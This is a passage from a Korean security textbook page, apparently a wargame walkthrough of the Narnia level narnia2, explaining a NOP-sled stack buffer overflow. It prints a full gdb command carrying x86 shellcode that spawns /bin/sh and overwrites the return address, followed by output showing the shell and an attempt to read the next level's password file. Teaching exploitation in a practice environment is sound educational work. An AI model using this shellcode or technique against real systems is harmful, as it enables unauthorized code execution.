더북(TheBook)

아래로 스크롤하다 보면, 그림 1-10과 같은 부분이 보일 것이다.

▲ 그림 1-10 NOP 슬레드 공격

 

초기 NOP(x90) 다음에 셸 코드가 위치하고, 다시 NOP가 나오고 마지막에 BBBB(0x42424242)가 있다. 셸 코드를 실행하려면 BBBB를 NOP 슬레드(썰매) 안에 있는 주소로 변경한다. 여기서는 간단히 NOP의 첫 번째 셋을 가리키는 스택 주소 0xffffd850을 사용한다. 리틀 엔디언을 유념하고, 다음 명령을 실행하자.

(gdb) run `python -c 'print "\x90" * 50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90" * 67 + "\x50\xd8\xff\xff"'`

Starting program: /games/narnia/narnia2 `python -c 'print "\x90" * 50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90" * 67 + "\x50\xd8\xff\xff"'`

process 5823 is executing new program: /bin/dash

$ cat /etc/narnia_pass/narnia3

cat: /etc/narnia_pass/narnia3: Permission denied

신간 소식 구독하기
뉴스레터에 가입하시고 이메일로 신간 소식을 받아 보세요.